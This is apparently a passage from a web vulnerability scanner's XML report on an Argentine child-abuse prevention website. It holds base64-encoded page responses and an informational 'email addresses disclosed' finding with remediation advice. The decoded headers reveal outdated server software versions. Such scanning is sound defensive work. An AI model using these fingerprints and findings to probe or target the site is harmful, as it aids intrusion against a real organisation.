gogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
165 <responseRedirected>false</responseRedirected>
166 </requestresponse>
167 </issue>
168 <issue>
169 <serialNumber>8637745207739944960</serialNumber>
170 <type>6291968</type>
171 <name>Email addresses disclosed</name>
172 <host ip="200.20.20.201">http://www.example.org.ar</host>
173 <path><![CDATA[/index.php]]></path>
174 <location><![CDATA[/index.php]]></location>
175 <severity>Information</severity>
176 <confidence>Certain</confidence>
177 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
178 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
179 <issueDetail><![CDATA[The following email addresses were disclosed in the response:<ul><li>[email protected]</li><li>[email protected]</li></ul>]]></issueDetail>
180 <requestresponse>
181 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
182 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIi